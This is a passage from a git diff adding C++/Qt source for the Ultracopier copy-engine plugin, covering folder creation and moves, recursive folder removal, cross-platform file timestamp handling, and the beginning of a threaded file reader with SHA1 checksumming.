+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The source folder don't exists: "+pathList.first().source.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("The source folder don't exists"));
+ return;
+ }
+ if(!pathList.first().source.isDir())//it's really an error?
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"The source is not a folder: "+pathList.first().source.absoluteFilePath());
+ /*if(stopIt)
+ return;
+ waitAction=true;
+ emit errorOnFolder(pathList.first().destination,tr("The source is not a folder"));
+ return;*/
+ }
+ if(pathList.first().destination.absoluteFilePath().startsWith(pathList.first().source.absoluteFilePath()+text_slash))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"move into it self: "+pathList.first().destination.absoluteFilePath());
+ int random=rand();
+ QFileInfo tempFolder=pathList.first().source.absolutePath()+text_slash+QString::number(random);
+ while(tempFolder.exists())
+ {
+ random=rand();
+ tempFolder=pathList.first().source.absolutePath()+text_slash+QString::number(random);
+ }
+ if(!dir.rename(pathList.first().source.absoluteFilePath(),tempFolder.absoluteFilePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to temporary rename the folder: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("Unable to temporary rename the folder"));
+ return;
+ }
+ /* http://doc.qt.io/qt-5/qdir.html#rename
+ * On most file systems, rename() fails only if oldName does not exist, or if a file with the new name already exists.
+ if(!dir.mkpath(pathList.first().destination.absolutePath()))
+ {
+ if(!dir.exists(pathList.first().destination.absolutePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to make the folder: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("Unable to create the folder"));
+ return;
+ }
+ }*/
+ if(!dir.rename(tempFolder.absoluteFilePath(),pathList.first().destination.absoluteFilePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to do the final real move the folder: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("Unable to do the final real move the folder"));
+ return;
+ }
+ }
+ else
+ {
+ /* http://doc.qt.io/qt-5/qdir.html#rename
+ * On most file systems, rename() fails only if oldName does not exist, or if a file with the new name already exists.
+ if(!dir.mkpath(pathList.first().destination.absolutePath()))
+ {
+ if(!dir.exists(pathList.first().destination.absolutePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to make the folder: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().destination,tr("Unable to create the folder"));
+ return;
+ }
+ }*/
+ if(!dir.rename(pathList.first().source.absoluteFilePath(),pathList.first().destination.absoluteFilePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to make the folder: from: "+pathList.first().source.absoluteFilePath()+", soruce exists: "+QString::number(QDir(pathList.first().source.absoluteFilePath()).exists())+", to: "+pathList.first().destination.absoluteFilePath()+", destination exist: "+QString::number(QDir(pathList.first().destination.absoluteFilePath()).exists()));
+ emit errorOnFolder(pathList.first().destination,tr("Unable to move the folder"));
+ return;
+ }
+ }
+ }
+ if(doTheDateTransfer)
+ if(!writeFileDateTime(pathList.first().destination))
+ {
+ if(!pathList.first().destination.exists())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to set destination folder time (not exists): "+pathList.first().destination.absoluteFilePath());
+ else if(!pathList.first().destination.isDir())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to set destination folder time (not a dir): "+pathList.first().destination.absoluteFilePath());
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to set destination folder time: "+pathList.first().destination.absoluteFilePath());
+ /*if(stopIt)
+ return;
+ waitAction=true;
+
+ emit errorOnFolder(pathList.first().source,tr("Unable to set time"));
+ return;*/
+ }
+ if(doRightTransfer && pathList.first().actionType!=ActionType_RealMove)
+ {
+ QFile source(pathList.first().source.absoluteFilePath());
+ QFile destination(pathList.first().destination.absoluteFilePath());
+ if(!destination.setPermissions(source.permissions()))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to set the right: "+pathList.first().destination.absoluteFilePath());
+ /*if(stopIt)
+ return;
+ waitAction=true;
+ emit errorOnFolder(pathList.first().source,tr("Unable to set the access-right"));
+ return;*/
+ }
+ }
+ if(pathList.first().actionType==ActionType_MovePath)
+ {
+ if(!rmpath(pathList.first().source.absoluteFilePath()))
+ {
+ if(stopIt)
+ return;
+ waitAction=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Unable to remove the source folder: "+pathList.first().destination.absoluteFilePath());
+ emit errorOnFolder(pathList.first().source,tr("Unable to remove"));
+ return;
+ }
+ }
+ pathList.removeFirst();
+ emit firstFolderFinish();
+ checkIfCanDoTheNext();
+}
+
+void MkPath::internalAddPath(const QFileInfo& source, const QFileInfo& destination, const ActionType &actionType)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("source: %1, destination: %2").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()));
+ Item tempPath;
+ tempPath.source=source;
+ tempPath.destination=destination;
+ tempPath.actionType=actionType;
+ pathList << tempPath;
+ if(!waitAction)
+ checkIfCanDoTheNext();
+}
+
+void MkPath::checkIfCanDoTheNext()
+{
+ if(!waitAction && !stopIt && pathList.size()>0)
+ emit internalStartDoThisPath();
+}
+
+void MkPath::internalSkip()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ waitAction=false;
+ pathList.removeFirst();
+ emit firstFolderFinish();
+ checkIfCanDoTheNext();
+}
+
+void MkPath::internalRetry()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ waitAction=false;
+ checkIfCanDoTheNext();
+}
+
+void MkPath::setRightTransfer(const bool doRightTransfer)
+{
+ this->doRightTransfer=doRightTransfer;
+}
+
+void MkPath::setKeepDate(const bool keepDate)
+{
+ this->keepDate=keepDate;
+}
+
+bool MkPath::rmpath(const QDir &dir
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ ,const bool &toSync
+ #endif
+ )
+{
+ if(!dir.exists())
+ return true;
+ bool allHaveWork=true;
+ QFileInfoList list = dir.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst);
+ for (int i = 0; i < list.size(); ++i)
+ {
+ QFileInfo fileInfo(list.at(i));
+ if(!fileInfo.isDir())
+ {
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(toSync)
+ {
+ QFile file(fileInfo.absoluteFilePath());
+ if(!file.remove())
+ {
+ if(toSync)
+ {
+ QFile file(fileInfo.absoluteFilePath());
+ if(!file.remove())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to remove a file: "+fileInfo.absoluteFilePath()+", due to: "+file.errorString());
+ allHaveWork=false;
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"found a file: "+fileInfo.fileName());
+ allHaveWork=false;
+ }
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"found a file: "+fileInfo.fileName());
+ allHaveWork=false;
+ }
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"found a file: "+fileInfo.fileName());
+ allHaveWork=false;
+ #endif
+ }
+ else
+ {
+ //return the fonction for scan the new folder
+ if(!rmpath(dir.absolutePath()+'/'+fileInfo.fileName()+'/'))
+ allHaveWork=false;
+ }
+ }
+ if(!allHaveWork)
+ return false;
+ allHaveWork=dir.rmdir(dir.absolutePath());
+ if(!allHaveWork)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to remove the folder: "+dir.absolutePath());
+ return allHaveWork;
+}
+
+//fonction to edit the file date time
+bool MkPath::readFileDateTime(const QFileInfo &source)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"readFileDateTime("+source.absoluteFilePath()+")");
+ /** Why not do it with Qt? Because it not support setModificationTime(), and get the time with Qt, that's mean use local time where in C is UTC time */
+ #ifdef Q_OS_UNIX
+ #ifdef Q_OS_LINUX
+ struct stat info;
+ if(stat(source.absoluteFilePath().toLatin1().data(),&info)!=0)
+ return false;
+ time_t ctime=info.st_ctim.tv_sec;
+ time_t actime=info.st_atim.tv_sec;
+ time_t modtime=info.st_mtim.tv_sec;
+ //this function avalaible on unix and mingw
+ butime.actime=actime;
+ butime.modtime=modtime;
+ Q_UNUSED(ctime);
+ return true;
+ #else //mainly for mac
+ QFileInfo fileInfo(source);
+ time_t ctime=fileInfo.created().toTime_t();
+ time_t actime=fileInfo.lastRead().toTime_t();
+ time_t modtime=fileInfo.lastModified().toTime_t();
+ //this function avalaible on unix and mingw
+ utimbuf butime;
+ butime.actime=actime;
+ butime.modtime=modtime;
+ Q_UNUSED(ctime);
+ return true;
+ #endif
+ #else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ struct stat info;
+ if(stat(source.toLatin1().data(),&info)!=0)
+ return false;
+ time_t ctime=info.st_ctim.tv_sec;
+ time_t actime=info.st_atim.tv_sec;
+ time_t modtime=info.st_mtim.tv_sec;
+ //this function avalaible on unix and mingw
+ butime.actime=actime;
+ butime.modtime=modtime;
+ Q_UNUSED(ctime);
+ return true;
+ #else
+ wchar_t filePath[65535];
+ if(source.absoluteFilePath().contains(regRead))
+ filePath[QDir::toNativeSeparators(QStringLiteral("\\\\?\\")+source.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ else
+ filePath[QDir::toNativeSeparators(source.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ HANDLE hFileSouce = CreateFileW(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY | FILE_FLAG_BACKUP_SEMANTICS, NULL);
+ if(hFileSouce == INVALID_HANDLE_VALUE)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"open failed to read: "+QString::fromWCharArray(filePath)+", error: "+QString::number(GetLastError()));
+ return false;
+ }
+ FILETIME ftCreate, ftAccess, ftWrite;
+ if(!GetFileTime(hFileSouce, &ftCreate, &ftAccess, &ftWrite))
+ {
+ CloseHandle(hFileSouce);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to get the file time");
+ return false;
+ }
+ this->ftCreateL=ftCreate.dwLowDateTime;
+ this->ftCreateH=ftCreate.dwHighDateTime;
+ this->ftAccessL=ftAccess.dwLowDateTime;
+ this->ftAccessH=ftAccess.dwHighDateTime;
+ this->ftWriteL=ftWrite.dwLowDateTime;
+ this->ftWriteH=ftWrite.dwHighDateTime;
+ CloseHandle(hFileSouce);
+ return true;
+ #endif
+ #else
+ return false;
+ #endif
+ #endif
+ return false;
+}
+
+bool MkPath::writeFileDateTime(const QFileInfo &destination)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"writeFileDateTime("+destination.absoluteFilePath()+")");
+ /** Why not do it with Qt? Because it not support setModificationTime(), and get the time with Qt, that's mean use local time where in C is UTC time */
+ #ifdef Q_OS_UNIX
+ #ifdef Q_OS_LINUX
+ return utime(destination.absoluteFilePath().toLatin1().data(),&butime)==0;
+ #else //mainly for mac
+ return utime(destination.absoluteFilePath().toLatin1().data(),&butime)==0;
+ #endif
+ #else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ return utime(destination.toLatin1().data(),&butime)==0;
+ #else
+ wchar_t filePath[65535];
+ if(destination.absoluteFilePath().contains(regRead))
+ filePath[QDir::toNativeSeparators(QStringLiteral("\\\\?\\")+destination.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ else
+ filePath[QDir::toNativeSeparators(destination.absoluteFilePath()).toWCharArray(filePath)]=L'\0';
+ HANDLE hFileDestination = CreateFileW(filePath, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
+ if(hFileDestination == INVALID_HANDLE_VALUE)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"open failed to write: "+QString::fromWCharArray(filePath)+", error: "+QString::number(GetLastError()));
+ return false;
+ }
+ FILETIME ftCreate, ftAccess, ftWrite;
+ ftCreate.dwLowDateTime=this->ftCreateL;
+ ftCreate.dwHighDateTime=this->ftCreateH;
+ ftAccess.dwLowDateTime=this->ftAccessL;
+ ftAccess.dwHighDateTime=this->ftAccessH;
+ ftWrite.dwLowDateTime=this->ftWriteL;
+ ftWrite.dwHighDateTime=this->ftWriteH;
+ if(!SetFileTime(hFileDestination, &ftCreate, &ftAccess, &ftWrite))
+ {
+ CloseHandle(hFileDestination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to set the file time");
+ return false;
+ }
+ CloseHandle(hFileDestination);
+ return true;
+ #endif
+ #else
+ return false;
+ #endif
+ #endif
+ return false;
+}
diff --git a/plugins/CopyEngine/Ultracopier/MkPath.h b/plugins/CopyEngine/Ultracopier/MkPath.h
new file mode 100644
index 0000000..9182462
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/MkPath.h
@@ -0,0 +1,106 @@
+/** \file MkPath.h
+\brief Make the path given as queued mkpath
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef MKPATH_H
+#define MKPATH_H
+
+#include <QThread>
+#include <QFileInfo>
+#include <QString>
+#include <QSemaphore>
+#include <QStringList>
+#include <QDir>
+#include <QDateTime>
+
+#include "Environment.h"
+
+#ifdef Q_OS_UNIX
+ #include <utime.h>
+ #include <time.h>
+ #include <unistd.h>
+ #include <sys/stat.h>
+#else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ #include <utime.h>
+ #include <time.h>
+ #include <unistd.h>
+ #include <sys/stat.h>
+ #endif
+ #endif
+#endif
+
+/// \brief Make the path given as queued mkpath
+class MkPath : public QThread
+{
+ Q_OBJECT
+public:
+ explicit MkPath();
+ ~MkPath();
+ /// \brief add path to make
+ void addPath(const QFileInfo& source,const QFileInfo& destination,const ActionType &actionType);
+ void setRightTransfer(const bool doRightTransfer);
+ void setKeepDate(const bool keepDate);
+signals:
+ void errorOnFolder(const QFileInfo &,const QString &,const ErrorType &errorType=ErrorType_FolderWithRety) const;
+ void firstFolderFinish();
+ void internalStartAddPath(const QFileInfo& source,const QFileInfo& destination, const ActionType &actionType) const;
+ void internalStartDoThisPath() const;
+ void internalStartSkip() const;
+ void internalStartRetry() const;
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
+public slots:
+ /// \brief skip after creation error
+ void skip();
+ /// \brief retry after creation error
+ void retry();
+private:
+ void run();
+ bool waitAction;
+ bool stopIt;
+ bool skipIt;
+ QDateTime maxTime;
+ struct Item
+ {
+ QFileInfo source;
+ QFileInfo destination;
+ ActionType actionType;
+ };
+ QList<Item> pathList;
+ void checkIfCanDoTheNext();
+ QDir dir;
+ bool doRightTransfer;
+ bool keepDate;
+ bool doTheDateTransfer;
+ #ifdef Q_OS_UNIX
+ utimbuf butime;
+ #else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ utimbuf butime;
+ #else
+ quint32 ftCreateL, ftAccessL, ftWriteL;
+ quint32 ftCreateH, ftAccessH, ftWriteH;
+ QRegularExpression regRead;
+ #endif
+ #endif
+ #endif
+ //fonction to edit the file date time
+ bool readFileDateTime(const QFileInfo &source);
+ bool writeFileDateTime(const QFileInfo &destination);
+ static QString text_slash;
+private slots:
+ void internalDoThisPath();
+ void internalAddPath(const QFileInfo& source, const QFileInfo& destination,const ActionType &actionType);
+ void internalSkip();
+ void internalRetry();
+ bool rmpath(const QDir &dir
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ , const bool &toSync=false
+ #endif
+ );
+};
+
+#endif // MKPATH_H
diff --git a/plugins/CopyEngine/Ultracopier/ReadThread.cpp b/plugins/CopyEngine/Ultracopier/ReadThread.cpp
new file mode 100644
index 0000000..37c83f4
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ReadThread.cpp
@@ -0,0 +1,687 @@
+#include "ReadThread.h"
+
+ReadThread::ReadThread()
+{
+ start();
+ moveToThread(this);
+ stopIt=false;
+ putInPause=false;
+ blockSize=ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*1024;
+ setObjectName(QStringLiteral("read"));
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ isInReadLoop=false;
+ tryStartRead=false;
+ lastGoodPosition=0;
+ isOpen.release();
+}
+
+ReadThread::~ReadThread()
+{
+ stopIt=true;
+ //disconnect(this);//-> do into ~TransferThread()
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ waitNewClockForSpeed.release();
+ #endif
+ pauseMutex.release();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ waitNewClockForSpeed.release();
+ #endif
+ pauseMutex.release();
+ //if(isOpen.available()<=0)
+ emit internalStartClose();
+ isOpen.acquire();
+ exit();
+ wait();
+}
+
+void ReadThread::run()
+{
+ connect(this,&ReadThread::internalStartOpen, this,&ReadThread::internalOpenSlot, Qt::QueuedConnection);
+ connect(this,&ReadThread::internalStartReopen, this,&ReadThread::internalReopen, Qt::QueuedConnection);
+ connect(this,&ReadThread::internalStartRead, this,&ReadThread::internalRead, Qt::QueuedConnection);
+ connect(this,&ReadThread::internalStartClose, this,&ReadThread::internalCloseSlot, Qt::QueuedConnection);
+ connect(this,&ReadThread::checkIfIsWait, this,&ReadThread::isInWait, Qt::QueuedConnection);
+ connect(this,&ReadThread::internalStartChecksum, this,&ReadThread::checkSum, Qt::QueuedConnection);
+ exec();
+}
+
+void ReadThread::open(const QFileInfo &file, const Ultracopier::CopyMode &mode)
+{
+ if(!isRunning())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the thread not running to open destination: ")+file.absoluteFilePath());
+ errorString_internal=tr("Internal error, please report it!");
+ emit error();
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] open source: ")+file.absoluteFilePath());
+ if(this->file.isOpen())
+ {
+ if(file.absoluteFilePath()==this->file.fileName())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] Try reopen already opened same file: ")+file.absoluteFilePath());
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] previous file is already open: ")+file.absoluteFilePath());
+ emit internalStartClose();
+ isOpen.acquire();
+ isOpen.release();
+ }
+ if(isInReadLoop)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] previous file is already readding: ")+file.absoluteFilePath());
+ return;
+ }
+ if(tryStartRead)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] previous file is already try read: ")+file.absoluteFilePath());
+ return;
+ }
+ stopIt=false;
+ fakeMode=false;
+ lastGoodPosition=0;
+ this->file.setFileName(file.absoluteFilePath());
+ this->mode=mode;
+ emit internalStartOpen();
+}
+
+QString ReadThread::errorString() const
+{
+ return errorString_internal;
+}
+
+void ReadThread::stop()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stop()"));
+ stopIt=true;
+ pauseMutex.release();
+ pauseMutex.release();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ waitNewClockForSpeed.release();
+ #endif
+ if(isOpen.available()<=0)
+ emit internalStartClose();
+}
+
+void ReadThread::pause()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try put read thread in pause"));
+ if(stopIt)
+ return;
+ pauseMutex.tryAcquire(pauseMutex.available());
+ putInPause=true;
+}
+
+void ReadThread::resume()
+{
+ if(putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ putInPause=false;
+ stopIt=false;
+ }
+ else
+ return;
+ if(!file.isOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] file is not open"));
+ return;
+ }
+ pauseMutex.release();
+}
+
+bool ReadThread::seek(const qint64 &position)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start with: ")+QString::number(position));
+ if(position>file.size())
+ return false;
+ return file.seek(position);
+}
+
+qint64 ReadThread::size() const
+{
+ return file.size();
+}
+
+void ReadThread::postOperation()
+{
+ emit internalStartClose();
+}
+
+void ReadThread::checkSum()
+{
+ QByteArray blockArray;
+ QCryptographicHash hash(QCryptographicHash::Sha1);
+ isInReadLoop=true;
+ lastGoodPosition=0;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ numberOfBlockCopied=0;
+ #endif
+ seek(0);
+ int sizeReaden=0;
+ do
+ {
+ //read one block
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Read;
+ #endif
+ if(putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read put in pause"));
+ if(stopIt)
+ return;
+ pauseMutex.acquire();
+ if(stopIt)
+ return;
+ }
+ blockArray=file.read(blockSize);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ //can be smaller than min block size to do correct speed limitation
+ if(blockArray.size()>ULTRACOPIER_PLUGIN_MAX_BLOCK_SIZE*1024)
+ {
+ errorString_internal=tr("Internal error reading the source file:block size out of range");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Internal error reading the source file:block size out of range"));
+ emit error();
+ isInReadLoop=false;
+ return;
+ }
+ if(file.error()!=QFile::NoError)
+ {
+ errorString_internal=tr("Unable to read the source file: ")+file.errorString()+QStringLiteral(" (")+QString::number(file.error())+QStringLiteral(")");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
+ emit error();
+ isInReadLoop=false;
+ return;
+ }
+ sizeReaden=blockArray.size();
+ if(sizeReaden>0)
+ {
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Checksum;
+ #endif
+ hash.addData(blockArray);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ if(stopIt)
+ break;
+
+ lastGoodPosition+=blockArray.size();
+
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ //wait for limitation speed if stop not query
+ if(multiForBigSpeed>0)
+ {
+ numberOfBlockCopied++;
+ if(numberOfBlockCopied>=multiForBigSpeed)
+ {
+ numberOfBlockCopied=0;
+ waitNewClockForSpeed.acquire();
+ if(stopIt)
+ break;
+ }
+ }
+ #endif
+ }
+ }
+ while(sizeReaden>0 && !stopIt);
+ if(lastGoodPosition>file.size())
+ {
+ errorString_internal=tr("File truncated during the read, possible data change");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
+ emit error();
+ isInReadLoop=false;
+ return;
+ }
+ isInReadLoop=false;
+ if(stopIt)
+ {
+ stopIt=false;
+ return;
+ }
+ emit checksumFinish(hash.result());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stop the read"));
+}
+
+bool ReadThread::internalOpenSlot()
+{
+ return internalOpen();
+}
+
+bool ReadThread::internalOpen(bool resetLastGoodPosition)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] internalOpen source: ")+file.fileName()+QStringLiteral(", open in write because move: ")+QString::number(mode==Ultracopier::Move));
+ if(stopIt)
+ {
+ emit closed();
+ return false;
+ }
+ putInPause=false;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=InodeOperation;
+ #endif
+ if(file.isOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] this file is already open: ")+file.fileName());
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ emit closed();
+ return false;
+ }
+ QIODevice::OpenMode openMode=QIODevice::ReadOnly;
+ /*can have permision to remove but not write
+ * if(mode==Ultracopier::Move)
+ openMode=QIODevice::ReadWrite;*/
+ seekToZero=false;
+ if(file.open(openMode))
+ {
+ if(stopIt)
+ {
+ file.close();
+ emit closed();
+ return false;
+ }
+ pauseMutex.tryAcquire(pauseMutex.available());
+ if(stopIt)
+ {
+ file.close();
+ emit closed();
+ return false;
+ }
+ size_at_open=file.size();
+ mtime_at_open=QFileInfo(file).lastModified();
+ putInPause=false;
+ if(resetLastGoodPosition)
+ lastGoodPosition=0;
+ if(!seek(lastGoodPosition))
+ {
+ file.close();
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to seek after open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ return false;
+ }
+ isOpen.acquire();
+ emit opened();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ return true;
+ }
+ else
+ {
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ return false;
+ }
+}
+
+void ReadThread::internalRead()
+{
+ isInReadLoop=true;
+ tryStartRead=false;
+ if(stopIt)
+ {
+ if(seekToZero && file.isOpen())
+ {
+ stopIt=false;
+ lastGoodPosition=0;
+ file.seek(0);
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopIt == true, then quit"));
+ isInReadLoop=false;
+ internalClose();
+ return;
+ }
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=InodeOperation;
+ #endif
+ int sizeReaden=0;
+ if(!file.isOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] is not open!"));
+ isInReadLoop=false;
+ return;
+ }
+ QByteArray blockArray;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ numberOfBlockCopied=0;
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start the copy"));
+ emit readIsStarted();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopIt == true, then quit"));
+ isInReadLoop=false;
+ internalClose();
+ return;
+ }
+ do
+ {
+ //read one block
+ if(putInPause)
+ {
